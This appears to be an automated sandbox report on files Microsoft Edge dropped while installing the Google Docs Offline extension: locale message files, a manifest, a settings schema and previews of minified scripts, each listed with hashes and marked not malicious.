SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_2110910270\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
